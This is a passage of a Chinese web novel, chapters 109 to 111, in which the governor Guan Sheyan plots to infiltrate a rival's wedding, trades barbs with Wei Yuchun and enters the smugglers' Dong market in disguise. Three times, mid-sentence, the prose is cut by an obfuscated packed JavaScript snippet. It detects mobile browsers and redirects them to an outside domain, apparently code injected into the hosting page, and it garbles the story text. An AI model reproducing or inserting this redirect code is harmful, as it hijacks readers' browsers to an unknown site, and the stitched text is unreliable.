但眼下,松脂、周裕之、刘春盛、掮客、阳春菊等等诸如此类的疑团正不断增添,他还是打算先付诸一些实际举动,再一个一个继续深入考究它们。 陶明案那头已经给他指了路子,一条麻绳,一沓遗书,皆可探索。 麻绳上的异香需要有人将其带入危机四伏的洞市,追踪其来源,若是能找到卖家,就多半能找到购入此香的人。 至于遗书,关阇彦跟杜明堂道:“你把这些遗书送给你爹娘瞧,之前你爹和我说过刘春盛的来历,有些可疑,若是他做过什么事情基本上都会留案底,你爹跟他有熟悉了近十年,想必有办法能挖出他深藏多年的杀人秘密。我实在好奇,他到底得罪了何方冤魂。” 杜明堂颔首,看着遗书,想着就想到了关阇彦中午递给陶明案的纸条。他差点都忘了这桩事了!当时,陶明案差点都要猜到杜家出事的事实了!他因此忧心忡忡,当时整个人都是麻木的,呼吸都像哮喘,后来东扯西扯便忘了一些。 见关阇彦还有事要忙,已经远去,杜明堂抓紧那沓遗纸,长舒了一口浊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杜明堂的眼越瞪越大,他似乎觉得不可理喻,但又不得不佩服关阇彦。 “在陶明案眼里,我们的确是在冰玉瓶上找到了隐华的线索后,才要他找刘春盛下落的。而且,我们对他说过,隐华画师会报复的商户不止一家,带头的就是最昌盛的李杜二家,最先遭到报复的也理应是这两家,巧妙的是,李家最近的确出了事,还是跟芳樱楼紧密相关的事……” “你骗他,让他以为我们是因为李家跟芳樱楼的事,才得以提前预判杜家可能会出事,然后顺理成章地去打探杜家消息!追踪账房先生刘翁一事绝对合理,他既没办法得知杜宅账本已经消失的事实,也不得不推翻是杜家人指派我们办案的念头……” “都督,你这是要瞒天过海、偷梁换柱啊!” 关阇彦冷冷挑眉,虽然没说什么话,但眉眼里的讥诮跟自傲都好似在说,凭陶明案也能斗得过他? 他道:“不过是稍稍调换了一番办事的顺序罢了。” 他这边,起因是想要调查杜宅账本消失的案子,结果切切实实查到了关昀洲头上后,才真正着手去探芳樱楼的案子。 但他却颠倒了二者的顺序,让陶明案认为,他是因为要调查关昀洲,才从芳樱楼的案子渐渐查到隐华画师意图用窃取账本的方式报复杜宅的。 两件事都发生过了,纠葛又甚多,关阇彦跟杜明堂的身份又皆未知,陶明案怎么可能看穿其中奥秘?关阇彦这是明摆着在欺负知之甚少的陶明案。 杜明堂那头,不可理喻的情绪变得越来越不可思议,他惊道:“你是不是当时就料到陶司直会猜忌我们,所以你才故意等冰玉瓶开箱后才提了这个条件的?” 关阇彦却被他逗得哈哈大笑:“你以为我是能预知未来的神仙?” “那时,我也不知道箱子里头会装着隐华画师的东西。当时只想着要强买强卖,让他开了箱就没办法拒绝我的要求罢了。” 他很是坦诚,毕竟不该是自己的荣誉,他一个都不想要,跟关昀洲完全不是一路人。 109. 牙尖嘴利 当晚,关阇彦跟杜明堂一家三口人都聚到了一处,众人对着屋内唯一亮在中间的油灯,捋眉的捋眉,托腮的托腮,沉默若石的沉默若石。 大后日便是关昀洲大婚的日子,他们商榷着混入婚宴的人选迟迟定不下来,首先外人不熟悉不可用,熟悉的人,聪明的也就那几个,可一个个的身份都不可冒险,唯一能堪当大任的魏郁春也暴露了面容,无法再出动。 杜咏跟杜夫人不得不提议:“要不都督选上我府内做事沉稳的家仆,包装一番,告诉他要做些什么,不该做些什么,如何?” “此事岂能凑活?”关阇彦的脸在忽明忽暗的烛火下,显得有些情绪不明,“关昀洲那边早已防备起来了,再怎么包装好了,身份都会有暴露的一刻。什么都安排好了令人做更是大忌,婚宴凶机四伏,不会随机应变难成大事。” “实在不行,我亲自出马。”末了,关阇彦只能叹息。 杜明堂忙不迭叫住:“不可!你是底牌,也更了解关昀洲,虽然混入婚宴很重要,但这个人的作用其实是放风,我们其他人都得听安排去窃取周裕之的下落。你要是走了就是捡了芝麻丢了西瓜!” 关阇彦额上已经冒了一层细微的冷汗,他有些愠怒:“我知道。所以前面后面的事情都能交给我。” 杜咏头疼:“都督不可逞强,我们这些人都能出事,唯独您不能出事。那么做风险太大,只怕会被关昀洲拿捏了弱点。” 杜明堂绞着手,手肘撑在两条岔开的大腿上,若有所思,绞尽脑汁后只恨道:“南禺那换脸术不是忒厉害么?害人的时候倒是出现得勤快,如今缺它得紧倒是看不见个影子。” 他这是气不打一处来,要怨天尤人了。 关阇彦摆摆手,先言明当前最主要的目的:“关昀洲跟魏氏所住的府邸的设计图已有,按照婚礼进行的事宜找好空期,再顺着提前订好的路线,见机行事即可寻到关键线索。” 杜老爷喟叹一声:“就是不知那关昀洲会如何处理周裕之的下落。” 杜明堂附和:“是啊,那西贝货是个人精,他查到了周裕之的下落又如何?难不成真的跟个傻子一样,拿真笔墨写下来?那不是等着来被人偷家了?!” 关昀洲的确已经在查周裕之的下落了,很明显,因为最近就连过路的小老百姓都发现,关昀洲在京城的宅子边设了重重妨碍,稍有不慎,便就会被当场奸细当场送到府衙问罪。近来,婚期将至,好奇者多矣,百姓们哪里知挖个洞偷看一眼都算什么人命关天的事?听说,短短几日,被抓走的人已经不下十个了。 关昀洲这草木皆兵的做法,已经足够说明了一切问题。 关阇彦垂着眸子,静静掰着拇指,又闻杜咏跟杜夫人言:“还有没有什么办法再刺激一把关昀洲?他如今可是大红人,京城多少双眼睛盯着他,加上芳樱楼的事已经令他警惕了不少,他但凡有点脑子,都不会亲自出马。但若他不亲自出马,我们不可能光是靠潜入宅院就能拿到线索。” 杜明堂肯定道:“爹娘你们说得不错,说实话我一开始也没想到能有办法找到周裕之,但都督出计后,谜团破开了一条口子,当时还光顾着欣喜,殊不知光是破了一条口子哪里是够的!” 杜明堂眼珠子一翻,好似一个激灵劈入了他的脑海,他拿手肘戳戳关阇彦:“都督,关昀洲不是很想要藏了隐华画师秘密的冰玉瓶么?将此物放出去,转移他的注意力如何?” 关阇彦言辞更肃重了:“不可。隐华与杜家安危息息相关,关昀洲或许并不知汪氏跟杜家的渊源,账本丢失一案深系刘春盛,暂时又没有证据指明幕后主使便是他。若是秘密被他找到了,便代表他抓住了西仓战役中杜家背叛汪氏的把柄,你要冒这个风险么?” 语罢,他冷冷嘲讽一笑,笑得杜明堂顿时面色僵硬,说实话,他很不喜欢关阇彦此时说话的语气。毕竟谁都不喜欢有人连连拿心理创伤戳人心窝子,可他到底有什么资格去愤怒呢? 他有些要怒,但被杜咏喊住:“阿堂,都督说的都是实话。” 杜夫人不忍垂泪:“杜家的怨债,一代传一代,爹娘本想着瞒着便好,我们受着便罢了,岂能波及你跟阿茜……可实在没想到,那些诅咒竟然……都是真的!都是真的!难道真要整个杜家偿命了去么?!” 杜明堂一阵沉默,好似成了一具没有灵魂的泥偶。 关阇彦察觉到氛围的焦灼,聊了这么些天,进展几乎没有,他自己刚好又一筹莫展,愁烦交加间,他甩了袖子,拧眉道:“罢了,诸位也都累了一日,不如早些回去休息,改日再议。” 杜明堂扭头看着关阇彦果断离去的背影,默默攥紧了袖子。 关阇彦这个人,为人刚毅,说一不二,好似他便是标杆世间正义的先锋。 杜家的事好似一捧臭鸡蛋,黏上了高风亮节的他,甩又甩不掉,作也作不死,臭气哄哄,贻害无穷。他本是看在友人面子上不想管,但如今又不得不管,心中有厌烦之感是自然。他脾气又不太妙,忍无可忍下来,时不时来一句诋毁的戳心眼子话又如何?他没厌恶他都不错了。 杜明堂歪头一叹息,感慨自己真是数一数二的好脾气,三两句就给自己说服了,也不对关阇彦有什么偏见了。 但实际上,杜明堂真真是误会了关阇彦,他可没有他心里想得那么狭隘,真正令他感到厌烦的事远不止这个。 自从跟陶明案分开后,荒唐的念头就跟怨鬼一样纠缠不休。他巴不得早点去婚宴上亲眼看看魏氏的真面目,一探究竟,甚至还提出要亲自当靶子混入宴的念头,但周裕之的事他又不得不亲自过问,时间长了,又没个两全其美的法子,他能不烦躁? 真是巧合,关阇彦刚拉开屋门走出去两步,就警觉到有一对暗处的目光正在打量他,他循过去,发现可不就是魏郁春。 不过她鬼鬼祟祟、畏手畏脚地蹲藏在一角院墙,两只眼睛差点要冒绿光,好似把他当成了猎物。 你别说,这还是他第一次见到魏郁春这副滑稽搞笑的样子。他已经迫不及待地要戳穿她了。 他脾气稍好,眉眼上挑,跟她招手,活似在逗狗。 魏郁春眼神滞住,慢慢闭紧,脚步回缩,想逃。 关阇彦也是好奇很多天了,魏郁春这些日子跟惹了鬼一样,对他的一举一动都极其感兴趣,巴不得一日十二个时辰都紧跟其后。 他要好好问清楚。 “那边的,想往哪里逃?” 他神色讥诮,甚至忍不住笑出了声音,却还要明知故问:“何方小贼,见到本公子也不知抖上几腿、吓上几吓?!” 魏郁春听出了他那活似招牌又卑鄙的毒笑,得知他早就看穿了自己的伪装,不过还在阴阳怪气地笑话她。她若是还跑,岂不是彻底没了面子? 她理理衣裙,谁知忙着起身的时候,外面罩着的一件外袍就被挂着刺的树枝钩住了,“嘶啦”裂帛声起。她脸色惨白,夜风萧瑟,刮了她的肩头,她摩挲摩挲双臂上单薄的轻纱,眼神飘飘忽忽望向他处,明明心虚却不承认:“都督晚好。” 关阇彦简直要被她逗得笑仰过去,这一笑更是把这几天积压的怨气吐了个干净。他抱胸睨她,也一边走向她,直唤其名:“冯迎春,你不会大晚上不睡觉是想来偷听人墙角的吧?” 他说得不错,但魏郁春当然不可能承认。她捧着单薄的肩,看天不说话。 关阇彦道:“不说话便是承认了。” 魏郁春脸色青了紫、紫了青:“我没有。” “问个问题,最近怎么突然对我的事有兴致了?”关阇彦的笑在夜色下,竟显得有些阴邪,加重了魏郁春认为其主动搭话都不怀好意的刻板印象,见她皱眉,关阇彦忙止住,语气很是欠揍,“哎,冯姑娘不必再来一句我没有、我不曾的托词了。我可记得你今日来老往我跟杜明堂院子里跑呢,你不是最自诩清白好姑娘么?怎么现在就突然看开了?” 魏郁春傲娇撇头,语气不客气,亦学着他阴阳怪气:“都督不也一直口口声声说要履行承诺,送我离去么?我看都过去了五日了,你还是纹丝不动,岂不引人怀疑?恰巧,都督跟杜公子也突然避着我谈事,岂不更可疑?我怕人害我,来探探虚实,莫不是也有错了?” 见他眉头紧锁,魏郁春以牙还牙,继续堵他:“哎,都督也不必来一句我没有、我不曾的托词。毕竟最先说要两不相欠的人是都督你,而不是我,如今一改说辞,求我帮忙的人不也是你么?人都是会变的。我们也许该互相包容一番。” 关阇彦不止一次觉得,她的牙尖嘴利是从自己身上学来的,因为他竟没办法理直气壮地回怼过去,这是他为数不多才会遇见的情况。 他咬咬牙,气笑了:“冯姑娘口才渐长,我看性子也是泼辣跋扈了不少啊。” 魏郁春只当这是好话,恭维:“都督谬赞。” 关阇彦心情莫名爽朗了很多,对待她的态度也好了不少,活似跟刚刚在屋里被火光照得阴邪气四溢的人不是同一个。他已经走近了她,两个人不过距离了一只手臂的距离,魏郁春后头靠着院墙,无路可去。 关阇彦微微歪了脑袋,好似不太正经,可他的目光实在是清明,盯得魏郁春越来越不自在,好似再盯下去,心事就会被全部看透。 魏郁春扬头往他处撇,又听到了对方鼻息间细微的挑逗之意,紧接着他说起话:“你别学着那些人,一口一个都督的唤,被人听了墙角不妙,也叫我听得耳根子冒茧子,不舒坦。” 魏郁春心虚的心神被他唤回来,她也有些犯愣了:“那我还能叫你什么?” 这也把关阇彦给问住了。 他方才只是随口一说,虽然的确是心里话,但真的说出来倒像是漏了什么口风,让他难以解释。他给自己找补:“像从前一样。” “从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447452|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前?”魏郁春笑了,讽刺道,“关贤齐?你也是脸皮够厚,还敢跟我提以前。” 她是一点都不惧他的,不论他是不是什么厉害的安南都督,就是天王老子,她也不带怕的,她恨不得把所有未报出去的仇恨都转移到他身上。 所以能攻击的时候绝不口软,比南禺的时候犀利多了,气势上好似也褪去了懦弱。 关阇彦压着眉弓,可嘴角的笑还是没放下,这个表情有些怪异,总给人无形的压迫感。 他是接不住这个话题了,甚至再不制止,眼前这女子都要骑到他头上去了,这令他备有危机感。 他将自己的气压压至最低,突然开门见山:“你到底有什么目的?近来京中势力暗中较量,你又露了真容,若此时将你送出去,那便是间接要了你的命。我可以夸你很聪明,因为你应该比我更早明白这一点。” 魏郁春暂被他的气压抵得撑不上劲儿,甚至内里燃起肝火,她的脖后已经冒出了冷汗,现在的她,满脑子唯有如何狡辩一问。 她强逼着自己挤出一个从容的笑:“我便是害怕被人盯上灭口,才想拖延留下来的时间罢了。” 她这是找借口都懒得找了,直接顺着关阇彦的话编了起来。 关阇彦笑得更阴森了:“拖延时间用得着跟陶明案攀关系?” 魏郁春听完脑子空白,完全不懂他的意思:“我何时要与陶明案攀关系?” 对方直白的话听起来甚至有些刺耳:“你近来一直都在想办法打听我手里头的事,而此事是唯一能与陶明案产生交际的办法。果不其然,今日你们当着聊得快活,听说那头还特地管你问了姓名?不错,进度感人。” 魏郁春恼了:“你阴阳什么?说我不知廉耻么?” 她也是觉得好笑,也完全不理解关阇彦的脑回路,他是怎么就这样把两件根本毫无交集的事牵扯到一起的,问题是,他觉得特别合理,并且沉浸其中无法自拔,简直是自我极了。 可奇怪的是,自我就自我了,之前说她不知廉耻他都会讽刺得更风凉,今儿这语气怎么听得像是憋了一肚子火一样?他气什么呢? 哦……原来是这样。先前她与之告白过,结果没过多久就立马被她嫌弃了,再不久,又察觉到她跟陶明案关系有所进展,这是恼羞成怒了? 不是他自己说他不喜欢就拒绝的么?看到她转头就换人,心里就不好受了?! 嚯,他干的好事可不止这桩。 魏郁春的思路越转越快,立马想到了春桃酒宴上金玉圆对安南都督的态度,当即又憎恶其好似恨不得天底下所有女子都要围绕他转的恶行,真是个畜生! 完全不知道自己早已被魏郁春,在心中从上到下鄙视唾弃了个遍的关阇彦,也终于意识到自己的怪行,他居然真的在莫名其妙生气?! 但魏郁春很快就冷静了下来,她一向觉得,跟畜生谈话反而是辱了自己的名声,她挤着眉头,转了脚步,想要跟他拉开距离。 她转念一想,她本就想借陶明案那层关系继续深入案子,的确,陶明案好似也对她有好感,他们做朋友不过是早晚的问题,有什么好否认的? 但关阇彦实在是误会了她,她无意继续深入那种关系,她一心报仇,又受过情伤,心肠早已冷漠了。她之所以特别关注他,也是担心他们做事撇下自己,而非为了跟陶明案谈情说爱找机会。 既然关阇彦已经误会了她,她不如就受着好了,毕竟也是这个误会,她才得以护住自己的身份和真实目的。 另外,她问心无愧,他误会的时候还能叫他自己气得七窍生烟,岂不是两全其美了? 她美滋滋地想着,紧接着愠色不见,她竟然扬起了只洋洋得意的笑容,斗牛般道:“我就算喜欢陶司直,你能奈我何?哦对了,我就是不想走,不过诺言你还是得守,稍微变通一下,我做什么事情都不要过问就行。我有证据,都督可不能反悔。” 她也意识到自己真的变得越来越欠揍了,这个语气听得她自己都皱眉,可大快人心也是真的。 关阇彦放下庄重的姿态,他插着腰,他打算不怒自威,但未想,他实在是忍不住,结果成了气急败坏:“好你个冯迎春,当真是脸皮极厚,不知羞耻。” 魏郁春话音还在继续:“忘记说了,我与陶司直也已有了交联方式,你限制不得我。” 她体验了一番狐假虎威的快感,发现已经欲罢不能,甚至开始胡编乱造,态度那叫一个理直气壮:“听说你明日晚上要去洞市?洞市的地点唯有陶司直与章司务知晓,他们只信我,也只告诉了我,你若带我去,我才会将位置告诉你。” 关阇彦气归气,可听到对方大言不惭的模样,他却还是熄火了,语气沉重,容不得冒犯。 “你可知洞市是什么地方?你要去,怕是连被撕成碎片都算好结局了。” 他居然不计前嫌,真的在为她担心。 110. 百毒不侵 夜风迎面袭来,关阇彦额前的碎发被吹着沿着两侧向后拂去,他侧过脑袋,情不自禁地打了个哈欠,没有要继续跟魏郁春掰扯的性质。 但魏郁春却还不肯放手,她追道:“总之,明日你若想去洞市便只能带上我。” 关阇彦神情恹恹地瞥了她一眼,笑她的不自量力:“今日陶明案归还冰玉瓶时,早就将洞市的地址一并放入了瓶中,何时要通过你传递?冯姑娘,下次说谎也要记得打草稿。” 他竟然早就看穿了她的把戏,他看她的笑话貌似很开心。 这下,恼羞成怒的人便成了魏郁春,她望着关阇彦慢慢踱步离去的背影,只是喊道:“不管如何,我一定会去的。” “看你有没有那个本事了,”关阇彦背着身摆摆手,不以为意。 关阇彦离去半晌,魏郁春有些失魂,她方回神过来,要转身离去,结果一只黑乎乎的影子从不知哪个犄角旮旯抛了过来。猝不及防下,魏郁春也来不及伸手去接,只能任由那东西黏附在自己身上——这竟是一件短披风,虽然料子轻薄,却很能抗风。 她错愕望去,看到了关阇彦站在假山边上的身影,他还是那样矜傲地抱着胸口,好似是能拿鼻孔看人的姿态,但他今日并没有。 他好好地直视着她,对她微微一笑,不忘调侃:“方才躲躲藏藏为了看我,把衣服撕坏了,我这不得来赔你一件?” 魏郁春攥紧披风,她听了这话不觉得生气,也觉得自己真是着魔了,真真是习惯了关阇彦这副目下无尘的模样。她这是要百毒不侵了。 可她透过朦胧的夜幕,发现他的目光明亮含波,竟真挚不已。她不由得动容片刻,曾经心动过的人,即便真的再厌恶排斥,可一旦那些令她着迷过的回忆再一次重现,以至于在这一刻重合起来,她岂能真的做到铁石心肠? 她确信此时的一切不再出于自己的幻想,她便受了他的好意,颔颔首。 关阇彦抛了个好整以暇的笑,迈步潇洒离去,长发挥舞在月华下,活似披了流光的银河,前方什么都没有,可他自信不已,好像永远迈向的都只会是一场祥和的良夜。 魏郁春将披风披好,也绕去了另一个方向,回屋歇寝。 翌日,洞市十日仅开放一次,今晚是唯一的机会。关阇彦把东西收拾好,刘春盛自缢的麻绳被他束好,还有那暗藏诡异玄机的遗书也被他一并带上了。 杜明堂为他备好夜晚偷出城的车马和辅事的家丁,然后才跟父亲杜咏去往偏僻的隆安寺,去那头寻找刘春盛不为人知的往事。 明明已经万事俱备,他却总觉得心慌。 好似有一个东西被他遗忘了。 他回到账房先生刘翁原先住在厢房里,那只插在白瓷瓶中的阳春菊已经彻底殆尽了,枯萎的花瓣紧巴巴地互相抱团在一处。他信手点了一下,有些就碎成了灰扑扑的齑粉,散落在地上,不大体面。刺鼻的腐败气味儿钻入他的鼻腔,总让他想起芳樱楼埋尸坑中胸口冒花的幼尸。 他知道不安的源头便是这种看似平平无奇的花。 于是鬼使神差间,他就命人去外头买了一束阳春菊,一起塞入了包裹。当晚跨马疾驰,离开了繁华的皇城。 瓮城下,万山遍野,层峦叠嶂,明暗交错的岸城灯火透过城池外的护城河投射出来,河面上,好似那些无影的山都被交错的灯火照出了原形。 关阇彦一身劲装,勒马远眺。见一暗峰夹缝而生,缝中好似生了一条通天路,路上荒山四野、高木林立,围城了一只好似高门一般的绿林密地。 暗褐色的山石见夹着如此一只翠绿色的宝石,可不就像是一只深嵌下去的绿“洞”么? 陶明案交代过,洞市里面生长着很多来自各方、无法入户籍的野民,有的是战败后他国四处流浪下来定居在此的百姓,有的是戎域或是南禺从事走私贸易的法外狂徒……他们世世代代驻扎此地,根深蒂固,撵也撵不走,杀也杀不光。 更何况,朝中不少贪官都吃着里头走私的利润,自然不想惹怒这块风水宝地,久而久之,便是皇上也都不乐意管这桩破事。即便是要管,那也是圣人看谁不顺眼,又或者遭了威胁,才会派上些许人去洞市抓赃定罪。 洞市之乱,可想而知。 关阇彦是不可堂而皇之地进去的,陶明案之前办案时,给自己伪装过一种身份,俗称“董郎”,是为与洞市货商搭伙贩卖集资的人群,原本名为“洞郎”,但为了隐藏身份,传着传着就成了“董郎”。 要当董郎,对旁人来说定是难比登天,但关阇彦已有陶明案这边的渠道,只消从大理寺里头调出一件往年搜刮出来的象征“董郎”的赃物,所有问题便可迎刃而解。 他早就换掉了碍事的席帽,一只简单的铁黑皮面具罩在了他的面容上,面具上唯有能露出双眼的洞,黑暗之下,那黑洞阴暗,而他目光深邃凌厉,平添了不好惹的肃杀之气。 他驾马向远处的“绿洞”奔驰过去,腰间刻着“董”样篆字的铁令药牌随着漆黑的穗子,一同在他的腰间摇晃飞舞。 洞市并非真的是在凿空了的洞穴中,那茂密至极的野森林可谓是迷惑外人的迷宫,里头野兽遍布,林势层层叠叠,无穷无尽,好似真是个吞噬万物的无底洞。 来人需要找到内部人士才详知的穴路,通过其中向下找路,到了差不多的地方,再慢慢找向上的路子爬,绕过了古林,便能找到一处仅在夜晚活动的世外之地。 听起来简单,但办起来却不容易。首先,洞市十日开放一次,除了此日,穴路皆被封死。其次,即便翻山越岭找到了穴路又如何?穴下道路千千万万,一旦踏错便终身是错,脑子不清醒的、眼睛不灵光的、消息不灵通的……一个都别想进去。所以,世人刻板觉得人人生得形同弱鸡、脑子呆笨的“货郎”,在洞市可能一刻钟都待不下去。 这里的“董郎”哪一个不是脑子跟身段都来事的? 关阇彦这么个气质凶煞、身段结实的人扮起董郎来,再合适不过。 此时,他已经消耗了快一个时辰,才好不容易跟着提醒找到了穴道底部向上攀爬的路子,那路子上面贴心地搭了泥梯,层层而上,数不胜数,形似天梯。遥遥远上的天眼处放着一弯明月,月华皎白,倾斜而下,把“天梯”的截面照得更清晰了,那高度骇人,简直像是永远出不去的尽头一般。在慨叹人世竟有如此鬼斧神工的工艺时,他也由衷在心底对陶明案此人又多了几分诫心。 听说当年那查销的案子就是他主办的,穴道也是他掘的,立了大功不说,也从一个日夜只能行走在典籍库内搬运案呈的司务,升到了可巡查四方、参议疑狱的六品司直。 一下就从九品芝麻官升到了六品,寒门子弟,无背景无谄媚无同流无合污,实属一大奇事。 他还在向上攀爬,结果沿途遇上了一个趁着十日之期外出对货的“同行”,那壮汉也戴着一只铁面具,身上挂着黑穗子董字铁牌。 那壮汉一眼瞧住关阇彦气质非凡,擦肩而过之时,扫眼过去,瞧见他背在右肩的包裹,呦喝喝道:“阿郎,在外头带了什么好东西啊,给哥儿们几个也瞧个新鲜!” 关阇彦眉头一悚,连忙歪肩,撇去那只忙要往他身上拍的脏手。那个壮汉痞气十足,见问候不成,便要围堵上去。穴梯狭窄,稍有不慎一个踩空就会摔得命丧黄泉,他第一次走这种地势,向来不稳,但这壮汉就不同了,他嚣张跋扈,脚步扎实又稳稳当当,推推搡搡。关阇彦一时间竟只能占据下风。 他左手掣剑,动作隐蔽,亦是一言不发,本想要将碍事的家伙灭于无形。 谁知道,那壮汉嚷嚷个不听,勾搭下来半边包袱后,“咦”的一声退了身子,瞧住那探出包袱头的一簇阳春菊,既是嫉妒又是后怕道:“嚯,我道是哪位大郎这么嚣张呢!原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447453|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来是董十郎呢!最近傍上大款儿啦!就不把咱兄弟当人啦!” 关阇彦眉头蹙得更紧,铁面具之下,早已埋了一川沟壑。 他满腹疑窦,什么董十郎? 他发现壮汉时不时要觑上一眼肩头上的包袱,那一捧被他阴差阳错带过来的阳春菊不知何时竟漏了出来。 他反应过来,董十郎跟阳春菊有关系! 他挂上招牌式的虚伪笑容,态度也翻转了起来,他反倒是过去拍了一把壮汉的肩头,语气看似平静但暗藏玄机。 他试探着:“这不是多少天不见,天昏地暗的,个个又戴着一般的面具跟铁牌子,一下子怎么就瞧清楚咯?!” 壮汉看了他几眼,平静一息,就在他静声那一瞬,关阇彦邪煞再度上身,本打算试探不成便也不继续伪装,杀了开路也成。 结果开头嗓门最大的汉子忙不迭大拍自己的胸膛,贼嘿嘿一笑:“果然还是董十郎讲义气昂!哥儿也是没想到这刚开穴就碰上了您这么个当红人物,害得哥儿连续几个月都没抢到龙骨香的货呢!整个洞市可都记得您的来头呢!这岂不就是攀上了贵人?!有没有兴趣把你背后那位财大气粗的买家介绍给哥儿认识认识?!” 关阇彦闻言,意识到原来这董郎在意的,根本不是包袱里头冒出来的阳春菊,而是包袱扯开后,黏附在麻绳上漏出去的戎域异香。 他掂量清楚事情原委,乐呵呵地从包袱里提出那段麻绳,充作行内人,把之前章念解释过的“散于无形、干扰视听”的说法再徐徐道来:“此香不消几日便会散得无影无踪,大哥竟然远远一嗅便能嗅得出个好歹?!” 壮汉笑了:“嚯,也不看我们比你入行早上多少年?!你是董十郎,我是董五郎,嚯哈哈!” 关阇彦心想,这行当居然还是以入行时间来给人起外号的。 他还在诱敌:“跟大哥你讲个秘密,我那头的买家还想要这香呢!这不托我过来再寻上几个戎商?大哥们却说这几个月来的龙骨香竟是断货了,我这头可就难办了!” “哎呀,那位贵客别是做什么黑手的人,他一个人可是托你一把子把老戎商那头所有的龙骨香全部买走了!这龙骨香听着好听,但貌似不是好东西。买那么多回去,早晚出事!董十郎你可也得小心,主顾出了事,铁定招惹上你自己,可别像前年的十五郎,被那什么天煞的陶司直逮得丢了小命儿!” 关阇彦眉眼弯了弯,这壮汉貌似比他想象中的董郎愚笨多了,不过三两句话的功夫,几年里的事便都被套了个干净。 他也听得出来,这老董郎是在诱惑他,想让他把背后那什么莫须有的主顾分享给他,真是自作聪明。 “害,没辙,那买家不干正经事,就只信我,打算再干这次就不干了,”他继续装作为难,“听说这次开了双倍的价钱,高达千金,但听大哥讲,龙骨香没了货,这可如何是好!” 壮汉垂眸遛眼,贼眉鼠眼之样愈发明显。 关阇彦不用继续打探,便在他被利益充盈了的双眼里瞧出了他们的心思—— “千金!那可是千金!” “可惜这小子不肯告诉我渠道!他奶奶的,就算杀了这小子也没办法,背后那位主顾只听他的,到时候便是半只银子都捞不回来!” 不消半晌,壮汉熬不住,自告奋勇:“那好办!能出龙骨香的老戎商多了去了!哥儿我带你去找得了!” “多谢大哥,届时必要分你一半的货利!” 关阇彦拱手道,看似恭敬不已,实际上面具下的面容早已忍俊不禁,憋了许久的笑。 他本来还苦于自己人生地不熟,要想靠着一把麻绳就去寻线索实在困难。岂料到,线索还能自己送上门来,他这是歪打正着了。 这老董郎唯利是图,定是能带他恨不得将他所认识的一切老戎商都走了个遍,何须他亲自去找?真是得来全不费工夫。 111. 龙骨迷香 贪利的壮汉董五郎带着他一路穿过人群渐渐熙攘的夜路,洞市虽为世外之境,却毫无“桃源”之色,阡陌之中,多是不修边幅的老弱妇孺,稍微能看的则是一些商贩走卒。 这些人错落地排列在拥挤而狭窄的巷道,两畔搭着的雨棚似的东西竟是他们的住所。 洞市里头极其暗,一盏油灯简直要被当作宝贝一样供起来,一只竹竿滑稽地插在雨棚里头,出头的地方斜斜地歪在棚外,高高的悬着一只用最劣质的灯草维系微弱光明的灯。走上要半条大路,才能依稀瞧见这两只似有似无的光点。 此地生着茂密而又长期无人清扫的野草,深夜湿气氤氲,那丛林里才会有的生涩浓雾包裹腐朽木臭的气息扑鼻而来。摆摊的商贩多是些年迈的老头老婆子,身上脏乱,蓬头垢面,每走到他们身边,也要被他们那股难耐的气味熏上一熏。 这里哪里像是外界传闻中,非法走私的孕育宝地?倒像极了一座破败得不能再破败的难民窟。 一直吊着个三白眼,藏在快要生了虱子的乱发里的老态面容,在看到了董五郎跟关阇彦身上彰显身份的腰牌后,纷纷像是吃了兴奋药。他们抓狂地从摊位上腾起,疯了一般要簇拥过来,口里头嚷嚷那油灯之下、别人都看不清是泥是土的商品。 “原来是董郎大人!大人啊,买买我的东西,哎呀买买我的东西!我已经十天都没吃饭了!” “卖不完这些,我就死不了!我想早点入土为安呐,跟着我那群兄弟姐妹们一起!” “啊啊啊!我也想我也想!我有点不想活了!但我还没卖完东西呢!” 关阇彦听得云里雾里,这副癫狂的画面令他不堪忍受,但他却仔细地看到,这些老态龙钟、可怜讨生的怪人们,眼中竟像是放了一簇簇忽明忽暗的火,一面绝望不已,一面却又欣喜若狂。简直像是个彻底的疯子,他们的眼里只有买卖。为了买卖,他们可以什么都不要! 难怪章念要那么说话。 洞市的环境便是叫那山中野惯了的畜生来这儿呆着,不出一个月都得疯癫,更何况是人呢?这群商贩不是没有机会离开,但他们当初来到这里的目的一半是为了避难,一半则是为了通过做这些胆大包天的生意来满足自己的贪心。 几十年来,这种东西就跟毒髓一样根深蒂固,他们人是呆着呆着疯了,脑子里空空如也,就剩下了“金钱、利益”四个字。 正是有这种人,洞市才得以生生不息,难怪圣人对此往往避而不谈。野火烧不尽,春风吹又生……人之本性不得根除,洞市仿佛又是个有着绝对邪气的推手。此地活似是被某种邪物上了身的禁地。 那董五郎被缠得不耐烦了,“哗啦”一声挥手甩人,结果那群看着柔柔弱弱的老头老太们活似神力十足,跟那水蛭一样粘在身上不肯动弹。 他暴怒:“烦死了!每到十日这些老东西们都是这副要死不活的样子,疯得不成样子!” 他发火还不忘勾搭一番新金主:“嚯,董十郎,你别看这群老东西弱不禁风,做生意拿货的时候相当难缠!没一个好说话好招惹的!偏偏还又不能杀了,要不然是断了自己以后的财路了!” 